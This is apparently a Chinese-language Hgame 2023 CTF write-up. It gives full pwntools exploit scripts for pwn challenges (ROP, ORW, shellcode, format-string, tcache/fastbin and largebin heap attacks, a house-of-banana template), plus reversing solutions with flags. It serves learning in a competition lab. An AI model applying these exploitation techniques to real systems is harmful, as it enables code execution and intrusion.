Hgame 2023 pwn部分wp

Static Lv2

week1

pwn

test_nc

nc即得flag

easy_overflow

简单的ret2text,但程序会关闭标准输出,百度搜了下,发现可以重定位stdout到stderr,然后就可以得到flag了

1
2
3
4
5
6
7
#!/usr/bin/env python3
from pwn import*

io = remote('week-1.hgame.lwsec.cn',32147)
#io = process('./vuln')
io.send(b'A'*0x18+p64(0x40117e))
io.interactive()

choose_the_seat

checksec看到只开了NX

if判断看到判断条件不严格,没有判断负数的情况,导致可以越界修改got表。

为了便于进行后续操作,我们先将exit函数的got表项改为vuln函数地址,这样就可以无限执行vuln函数了。

然后需要泄露libc,由于题目已经给出了libc文件,知道要覆盖项的偏移后,部分覆盖然后就可以打印出libc,计算得到libc基址。最后直接修改puts函数got表为system函数即可,最后写一个/bin/sh\x00即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'

io = remote('week-1.hgame.lwsec.cn',32073)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

io.recvuntil(b'one.\n')
io.sendline(b'-6')
io.recvuntil(b'name\n')
io.send(p64(0x4011d6))

io.recvuntil(b'one.\n')
io.sendline(b'-8')
io.recvuntil(b'name\n')
io.send(b'\xd0')
io.recvuntil(b'Your name is ')
setbuf = u64(io.recv(6).ljust(8,b'\x00'))
print('setbuf ===> '+hex(setbuf))
libcbase = setbuf - libc.symbols['setbuf']
print('libcbase ===> '+hex(libcbase))

sys = libcbase + libc.symbols['system']

#attach(io)
#pause()
io.recvuntil(b'one.\n')
io.sendline(b'-9')
io.recvuntil(b'name\n')
io.send(b'A'*8+p64(sys))

io.sendline(b'0')
io.sendline(b'/bin/sh\x00')

io.interactive()

orw

checksec看到只开了NX,seccomp-tools看到禁用了execve,那就只能orw了。

发现溢出大小不足,因此泄露libc后在bss段上找一块位置写下payload,然后leave_ret栈迁移到该位置即可得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#!/usr/bin/env python3
from pwn import*
#context.log_level = 'debug'

io = remote('week-1.hgame.lwsec.cn',30241)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

vuln = 0x4012c4
pop_rdi = 0x401393
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
io.recvline()
#io.recvuntil(b'task.\n')
payload1 = b'A'*0x108+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
io.send(payload1)
puts = u64(io.recv(6).ljust(8,b'\x00'))
print('puts ===> '+hex(puts))

libcbase = puts - libc.symbols['puts']
print('libcbase ===> '+hex(libcbase))

pop_rsi = libcbase + 0x2601f
pop_rdx = libcbase + 0x142c92
leave_ret = 0x4012be
bss = 0x404100
open_ = libcbase + libc.symbols['open']
read_ = libcbase + libc.symbols['read']

#attach(io,'b vuln')
#pause()
payload2 = b'A'*0x108+p64(pop_rsi)+p64(bss)+p64(read_)+p64(vuln)+p64(vuln)
io.send(payload2)
sleep(1)
payload3 = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(10)+p64(read_) \
+p64(pop_rdi)+p64(bss+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(open_) \
+p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(bss+0x100)+p64(pop_rdx)+p64(0x100)+p64(read_) \
+p64(pop_rdi)+p64(bss+0x100)+p64(puts)
io.send(payload3)
sleep(1)
payload4 = b'A'*0x100+p64(bss-8)+p64(leave_ret)*5
io.send(payload4)
sleep(1)
io.send(b'./flag')

io.interactive()

simple_shellcode

checksec看到保护全开,seccomp-tools看到禁用了execve,orw即可。

程序会使用mmap函数开辟一块可读可写可执行的空间,并且在读取后会跳到该位置执行shellcode,但是read的太小,因此我们可以在这一小段shellcode里面继续调用read函数对该区域进行大量写入,程序即可顺序执行orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python3
from pwn import*

io = remote('week-1.hgame.lwsec.cn',30159)
#io = process('./vuln')
elf = ELF('./vuln')

io.recvuntil(b'shellcode:')

shellcode = '''
/* read(fd=0, buf=0xcafe0000, nbytes=0x1000) */
xor ebx, ebx
mov ecx, 0xcafe0000
xor edx, edx
mov dh, 0x1000 >> 8
/* call read() */
push SYS_read /* 3 */
pop eax
int 0x80
'''

#attach(io, 'b *0xcafe0000')
#pause()
print(shellcraft.read(0,0xcafe0000,0x1000))
print(len(asm(shellcode)))
io.send(asm(shellcode))

shellcode = b'A'*16
shellcode+=asm(shellcraft.read(0,0xcafe0500,0x10))
shellcode+=asm(shellcraft.open(0xcafe0500,0,0))
shellcode+=asm(shellcraft.read(3,0xcafe0500,0x30))
shellcode+=asm(shellcraft.write(1,0xcafe0500,0x30))
io.send(shellcode)
sleep(1)
io.send(b'./flag')

io.interactive()

reverse

test_your_IDA

用IDA打开即得flag

hgame{te5t_y0ur_IDA}

easyasm

记事本打开看到汇编,分析汇编可得程序逻辑为对每一位与 0x33进行异或,直接异或解密得到flag

hgame{welc0me_t0_re_wor1d!}

easyenc

IDA打开看到主要逻辑为

1
2
3
4
5
6
7
8
9
10
11
12
while ( 1 )
{
v5 = (*((_BYTE *)v10 + v3) ^ 0x32) - 86; //对每一位进行改加密
*((_BYTE *)v10 + v3) = v5;
if ( *((_BYTE *)v8 + v3) != v5 )
break;
if ( ++v3 >= 41 )
{
v6 = "you are right!";
goto LABEL_8;
}
}

直接python解密

1
2
3
enc = [0x4,0xff,0xfd,0x9,0x1,0xf3,0xb0,0x0,0x0,0x5,0xf0,0xad,0x7,0x6,0x17,0x5,0xeb,0x17,0xfd,0x17,0xea,0x1,0xee,0x1,0xea,0xb1,0x5,0xfa,0x8,0x1,0x17,0xac,0xec,0x1,0xea,0xfd,0xf0,0x5,0x7,0x6]
for i in enc:
print(chr(((i+86)%0x100)^0x32),end='')

hgame{4ddit1on_is_a_rever5ible_0peration}

a_cup_of_tea

程序为tea加密,但改了里面的delta,并且把加密时的sum+=delta改成了sum-=delta

c脚本为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>

void decrypt(unsigned int* v, unsigned int* k) {
unsigned int v0 = v[0], v1 = v[1], sum = 0, i; /* set up */
unsigned int delta = 0x543210dd; /* a key schedule constant */
sum -= delta*32;
unsigned int k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < 32; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum += delta;
} /* end cycle */
v[0] = v0; v[1] = v1;
}

int main()
{
unsigned int buf[9] = { 0x2e63829d,0xc14e400f,0x9b39bfb9,0x5a1f8b14,0x61886dde,0x6565c6cf,0x9f064f64,0x236a43f6,0};
unsigned int key[4] = { 0x12345678,0x23456789,0x34567890,0x45678901};

decrypt(buf+4+2, key);
decrypt(buf+4, key);
decrypt(buf + 2, key);
decrypt(buf, key);
puts(buf);
}

hgame{Tea_15_4_v3ry_h3a1thy_drlnk}

encode

主要逻辑为:

1
2
3
4
5
for ( i = 0; i < 50; ++i )
{
v4[2 * i] = v5[i] & 0xF;
v4[2 * i + 1] = (v5[i] >> 4) & 0xF;
}

对每次结果及下一位和0xf进行与操作,每次加密两位

python脚本为

1
2
3
4
5
6
7
8
enc = [8, 6, 7, 6, 1, 6, 0xD, 6, 5, 6, 0xB, 7, 5, 6, 0xE, 6, 3, 6, 0xF, 6, 4, 6, 5, 6, 0xF, 5, 9, 6, 3, 7,
0xF, 5, 5, 6, 1, 6, 3, 7, 9, 7, 0xF, 5, 6, 6, 0xF, 6, 2, 7, 0xF, 5, 1, 6, 0xF, 5, 2, 7, 5, 6, 6, 7,
5, 6, 2, 7, 3, 7, 5, 6, 0xF, 5, 5, 6, 0xE, 6, 7, 6, 9, 6, 0xE, 6, 5, 6, 5, 6, 2, 7, 0xD, 7, 0]

for i in range(0,len(enc),2):
for j in range(48,126):
if j&0xf ==enc[i] and (j>>4)&0xf == enc[i+1]:
print(chr(j),end='')

hgame{encode_is_easy_for_a_reverse_engineer}

week2

pwn

YukkuriSay

checksec看到只开了NX和canary

IDA打开,刚看到还是比较懵,只有一次格式化字符串的机会,要改got表的话后面没有执行的函数。之后发现可以泄露出libc偏移和栈地址,然后修改vuln函数返回地址为one_gadget即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python3
from pwn import*
context(log_level = 'debug',arch='amd64')

io = remote('week-2.hgame.lwsec.cn',32483)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

#泄露出libc
io.recvuntil(b'say?\n')
payload1 = b'A'*0x98
io.send(payload1)
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
io.recvuntil(b'\x20'*14+b'\x7c\x20AA')
libcbase = u64(io.recv(6).ljust(8,b'\x00'))-0x1ed5c0
print('libcbase ===> '+hex(libcbase))
io.recvuntil(b'(Y/n)\n')
io.sendline(b'y')

#泄露出栈地址
payload2 = b'A'*0x100
io.send(payload2)
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
io.recvuntil(b'\x20'*18+b'\x7c\x20AAAAAA')
ret = u64(io.recv(6).ljust(8,b'\x00'))-8
print('ret ===> '+hex(ret))
io.recvuntil(b'(Y/n)\n')
io.sendline(b'y')

#one_gadget
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]
payload3 = fmtstr_payload(8,{ret:(libcbase+one_gadget[1])},write_size='byte')
io.send(payload3)
io.recvuntil(b'(Y/n)\n')
io.sendline(b'n')
io.send(payload3)

io.interactive()

editable_note

checksec看到保护全开

delete里面UAF,而且可以edit。思路很明显就是先通过unsorted bin泄露libc,然后one_gadget打hook,或者修改__free_hooksystem,然后free掉存储/bin/sh\x00的堆块,虽然它是libc-2.31.so,但是tcache内堆块的key可以改掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/env python3
from pwn import*
context.log_level='debug'

io = remote('week-2.hgame.lwsec.cn',32037)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index,size):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def edit(index,content):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Content: ')
io.send(content)

def show(index):
menu(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

for i in range(9):
add(i,0x90) #0 1 2 3 4 5 6 7 8
for i in range(8):
delete(i)

#泄露libc
show(7)
libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecbe0
print('libcbase ===> '+hex(libcbase))
free_hook = libcbase + libc.symbols['__free_hook']
sys = libcbase + libc.symbols['system']

edit(6, p64(free_hook)+p64(0))
add(9,0x90)
add(10,0x90) #free_hook块
edit(10,p64(sys))
edit(0,b'/bin/sh\x00')
delete(0)

#DEBUG()

io.interactive()

fast_note

checksec看到保护只开了canary和NX

libc-2.23.so没有tcache,IDA看到程序中没有edit功能,在添加堆块时会进行一次写。而且有一个UAF。

思路就是先泄露libc,然后fastbin attack打__malloc_hook-0x23,同时配合__libc_realloc函数调整栈帧,在__realloc_hook中填入one_gadget。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('week-2.hgame.lwsec.cn',31808)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.23.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index,size,content):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Content: ')
io.send(content)

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def show(index):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

add(0,0x90,b'AAAA')
add(1,0x60,b'AAAA')
delete(0)
show(0)

libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x3c4b78
print('libcbase ===> '+hex(libcbase))
sys = libcbase + libc.symbols['system']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
print('__malloc_hook ===> '+hex(malloc_hook))
realloc = libcbase + libc.symbols['__libc_realloc']
one_gadget = [0x45226, 0x4527a, 0xf03a4, 0xf1247]

add(2,0x60,b'AAAA')
delete(1)
delete(2)
delete(1) #double free
add(3,0x60,p64(malloc_hook-0x23))
add(4,0x60,b'AAAA')
add(5,0x60,b'AAAA')
add(6,0x60,b'A'*11+p64(libcbase+one_gadget[3])+p64(realloc+11))

menu(1)
io.recvuntil(b'Index: ')
io.sendline(b'7')
io.recvuntil(b'Size: ')
io.sendline(str(0x60).encode())

#DEBUG()

io.interactive()

new_fast_note

checksec看到保护全开,这道题和上道题相比就是换了个高版本的libc。

思路和上道题一样,甚至不需要realloc函数调整栈帧(我竟然不知道已经分配过内存的index可以再分配,在这里浪费了贼多时间

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#!/usr/bin/env python3
from pwn import*
context(log_level='debug')

io = remote('week-2.hgame.lwsec.cn',31722)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index,size,content):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())
io.recvuntil(b'Content: ')
io.send(content)

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def show(index):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

for i in range(8):
add(i,0x90,b'A') #0 1 2 3 4 5 6 7
add(19, 0x60, b'A') #19 避免unsorted bin和top chunk合并
for i in range(8):
delete(i)
add(18, 0x60, b'A') #为fastbin double free作准备
show(7)

libcbase = u64(io.recv(6).ljust(8,b'\x00')) - 0x1ecc41
print('libcbase ===> '+hex(libcbase))
sys = libcbase + libc.symbols['system']
malloc_hook = libcbase + libc.symbols['__malloc_hook']
print('__malloc_hook ===> '+hex(malloc_hook))
realloc = libcbase + libc.symbols['__libc_realloc']

for i in range(8, 16):
add(i,0x60,b'A')
for i in range(8, 16):
delete(i)

target = malloc_hook - 0x23
one_gadget = [0xe3afe, 0xe3b01, 0xe3b04]

delete(7)
delete(15) #15为double free块

for i in range(7):
add(i, 0x60, b'AAAA')

add(7, 0x60, p64(target))
add(8, 0x60, b'A')
add(9, 0x60, b'A')
add(10, 0x60, b'A'*0x23+p64(libcbase+one_gadget[1]))
#add(11, 0x60, b'A')

menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(1).encode())
io.recvuntil(b'Size: ')
io.sendline(str(0x60).encode())
#print(hex(malloc_hook))
#DEBUG()

io.interactive()

reverse

before_main

一个变表base64,这个表会在main函数执行之前被复制到对应位置,对应__init_array里面的函数指针sub_1229

1
2
3
4
5
6
7
8
9
10
import base64
import string

str1 = "AMHo7dLxUEabf6Z3PdWr6cOy75i4fdfeUzL17kaV7rG="

#string1 = "0CxWsOemvJq4zdk2V6QlArj9mnHbt1NfEX/+3DhyPoBRLY8pK5FciZau7UMIgTSG"
string1 = "qaCpwYM2tO/RP0XeSZv8kLd6nfA7UHJ1No4gF5zr3VsBQbl9juhEGymc+WTxIiDK"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print(base64.b64decode(str1.translate(str.maketrans(string1,string2))))

stream

给了一个exe程序,很明显是pyinstaller打包的,直接百度python exe反编译,然后出来一大堆教程

最后得到程序源码,写出解密程序即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import base64

def gen(key):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + ord(key[i % len(key)])) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
i = j = 0
data = []
for _ in range(50):
i = (i + 1) % 256
j = (j + s[i]) % 256
tmp = s[i]
s[i] = s[j]
s[j] = tmp
data.append(s[(s[i] + s[j]) % 256])
return data


def decrypt(enc, key):
text = ''
enc = base64.b64decode(enc.encode()).decode()
for c, k in zip(enc, gen(key)):
text += chr(ord(c) ^ k)
return text


enc = 'wr3ClVcSw7nCmMOcHcKgacOtMkvDjxZ6asKWw4nChMK8IsK7KMOOasOrdgbDlx3DqcKqwr0hw701Ly57w63CtcOl'
key = 'As_we_do_as_you_know'
print(decrypt(enc, key))

week3

pwn

三道题都是现学的,后两道因为不太会largebin attack(低版本都没接触过),所以找了点模板,都套了house of banana的模板,竟然直接秒了。(模板来自winmt师傅在看雪写的堆利用文章,tql)

safe_note

保护全开,并且libc-2.32.so

在这个版本中,tcache binfd位置会放置(pos>>12)^next计算得到的值。当对应链表中只有一个堆块时,也就是其next0。因此我们可以直接fd<<12得到就是堆的基地址。因此我们可以计算(pos>>12)^target,从而放入fd位置,再申请即可得到target位置。

本题很明显就是要利用UAF绕过tcache新增的safe unlink机制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
#tcache safe unlink

io = remote('week-3.hgame.lwsec.cn',30767)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc/libc-2.32.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index, size):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def edit(index, content):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Content: ')
io.send(content)

def show(index):
menu(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

for i in range(9):
add(i, 0x90)
add(9, 0x60)
for i in range(7):
delete(i)
delete(8)
edit(8, b'\x0a')
show(8)
#edit(8, b'\x00')

libcbase = u64(io.recv(6).ljust(8, b'\x00'))-0xa-0x1e3c00
print('libcbase ===> '+hex(libcbase))
__free_hook = libcbase + libc.symbols['__free_hook']
print('__free_hook ===> '+hex(__free_hook))

one_gadget = [0xdf54c, 0xdf54f, 0xdf552]
show(0)
pos = u64(io.recv(5).ljust(8,b'\x00'))
fd = __free_hook ^ pos
print('pos ===> '+hex(pos))

edit(6, p64(fd))
add(10, 0x90)
add(11, 0x90)
edit(11, p64(libcbase+one_gadget[1]))
delete(0)

#DEBUG()

io.interactive()

large_note

保护全开,libc-2.32.so,只能申请largebin范围内的chunk,存在UAF漏洞

找了点资料,发现largebin attack在该版本可以在任意地址写入一个堆地址,也就是大数值。貌似可以修改global_max_fast,但是我找不到global_max_fast在哪(太菜了)。因此又转向了house of banana,正好有模板,稍微改下直接用。

house of banana是利用exit函数调用链触发的一种利用方式,调用链:exit()->_dl_fini->(fini_t)array[i],利用起来十分方便,只要我们能通过largebin attack等方式劫持_rtld_global首地址_ns_loaded到我们的可控区域,就可以对link_map进行伪造,从而进行一系列调用。

大概流程就是largebin attack劫持_rtld_global首项指针为可控堆块地址,直接伪造link_map实现house of banana从而getshell

house of banana模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
fake_link_map_addr = heap_base + 0x6c0
edit(0, b'a'*0x420 + p64(fake_link_map_addr + 0x20)) # l_addr
payload = p64(0) + p64(ld.address + 0x2f740) # l_next
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libc.sym['setcontext'] + 61) # second call rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)

'''
# getshell
payload += p64(pop_rdi_ret) # 0x40
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.sym['system'])
'''

# orw
flag_addr = fake_link_map_addr + 0xe8
payload += p64(pop_rdi_ret) + p64(flag_addr) # fake_link_map_addr + 0x40
payload += p64(pop_rsi_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(libc.sym['syscall'] + 27)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(fake_link_map_addr + 0x200)
payload += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
payload += p64(libc.sym['read'])
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(libc.sym['write']) # fake_link_map_addr + 0xc8
payload += p64(libc.sym['_exit'])

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8 SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26] & d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28] & i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack + house of banana

#io = remote('week-3.hgame.lwsec.cn',31373)
io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.32.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index, size):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def edit(index, content):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Content: ')
io.send(content)

def show(index):
menu(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

add(15, 0x508) #用于编辑presize
add(0, 0x608)
add(1, 0x500) #防止合并
add(2, 0x5f8)
add(3, 0x500) #防止合并
add(4, 0x5e8)
add(5, 0x500) #防止合并

#泄露libcbase
delete(0)
edit(0, b'\x0a')
show(0)

main_arena = u64(io.recv(6).ljust(8, b'\x00'))-0xa
libcbase = main_arena-0x1e3c00
print('libcbase ===> '+hex(libcbase))
_rtld_global = libcbase + 0x21b040
print('_rtld_global ===> '+hex(_rtld_global))
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]

#将index0放入largebin
edit(0, b'\x00')
delete(2)
add(6, 0x508)
#delete(4)

edit(0, b'A'*0x10)
show(0)
io.recvuntil(b'A'*0x10)
here = u64(io.recv(6).ljust(8, b'\x00'))
heapbase = here-0x7a0

#修改index0内容
edit(0, p64(0)*3+p64(_rtld_global-0x20))

delete(2)
add(7, 0x808)

#house of banana
fake_link_map_addr = heapbase + 0x7a0
l_next = 0x21c790 + libcbase
pop_rdi_ret = libcbase + 0x2858f
print('DEBUG =======> '+hex(pop_rdi_ret))
ret_addr = libcbase + 0x29524
edit(15, b'A'*0x500+p64(fake_link_map_addr+0x20)) #l_addr
payload = p64(0) + p64(l_next)
payload += p64(0) + p64(fake_link_map_addr) # l_real
payload += p64(libcbase+libc.sym['setcontext'] + 61) # second call rdx = the address of last call
payload += p64(ret_addr) # first call (fake_link_map_addr + 0x38)
payload += p64(pop_rdi_ret) # 0x40
payload += p64(libcbase+next(libc.search(b'/bin/sh\x00')))
payload += p64(libcbase+libc.symbols['system'])
#edit(0, payload)

payload = payload.ljust(0x38 - 0x10 + 0xa0, b'\x00') # => fake_link_map_addr + 0xd8 SROP
payload += p64(fake_link_map_addr + 0x40) # rsp
payload += p64(ret_addr) # rip
payload += b'./flag\x00\x00' # fake_link_map_addr + 0xe8

payload = payload.ljust(0x100, b'\x00')
# l->l_info[DT_FINI_ARRAY] != NULL => l->l_info[26] != NULL
payload += p64(fake_link_map_addr + 0x110) + p64(0x10) # l->l_info[26] & d_ptr = 0x10
payload += p64(fake_link_map_addr + 0x120) + p64(0x10) # l->l_info[28] & i = 0x10/8 = 2 => array[1] = l->l_addr + d_ptr + 8 => array[0] = l->l_addr + d_ptr
payload = payload.ljust(0x308, b'\x00')
payload += p64(0x800000000) # l->l_init_called
edit(0, payload)

menu(5)

#DEBUG()

io.interactive()

note_context

和第二题程序主要逻辑完全一样,不同的是这个程序开了沙箱,禁用了execve

largebin attack + house of banana实现orw直接得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
#!/usr/bin/env python3
from pwn import*
context.log_level = 'debug'
# large bin attack + house of banana

io = remote('week-3.hgame.lwsec.cn',32063)
#io = process('./vuln')
elf = ELF('./vuln')
libc = ELF('./libc-2.32.so')

def DEBUG():
attach(io, 'set resolve-heap-via-heuristic on')
pause()

def menu(choice):
io.recvuntil(b'Exit\n>')
io.sendline(str(choice).encode())

def add(index, size):
menu(1)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Size: ')
io.sendline(str(size).encode())

def delete(index):
menu(2)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

def edit(index, content):
menu(3)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())
io.recvuntil(b'Content: ')
io.send(content)

def show(index):
menu(4)
io.recvuntil(b'Index: ')
io.sendline(str(index).encode())

add(15, 0x508) #用于编辑presize
add(0, 0x608)
add(1, 0x500) #防止合并
add(2, 0x5f8)
add(3, 0x500) #防止合并
add(4, 0x5e8)
add(5, 0x500) #防止合并

#泄露libcbase
delete(0)
edit(0, b'\x0a')
show(0)

main_arena = u64(io.recv(6).ljust(8, b'\x00'))-0xa
libcbase = main_arena-0x1e3c00
print('libcbase ===> '+hex(libcbase))
_rtld_global = libcbase + 0x21b040
print('_rtld_global ===> '+hex(_rtld_global))
one_gadget = [0xdf54c, 0xdf54f, 0xdf552]

#将index0放入largebin
edit(0, b'\x00')
delete(2)
add(6, 0x508)
#delete(4)

edit(0, b'A'*0x10)
show(0)
io.recvuntil(b'A'*0x10)
here = u64(io.recv(6).ljust(8, b'\x00'))
heapbase = here-0x7a0

#修改index0内容
edit(0, p64(0)*3+p64(_rtld_global-0x20))

delete(2)
add(7, 0x808)
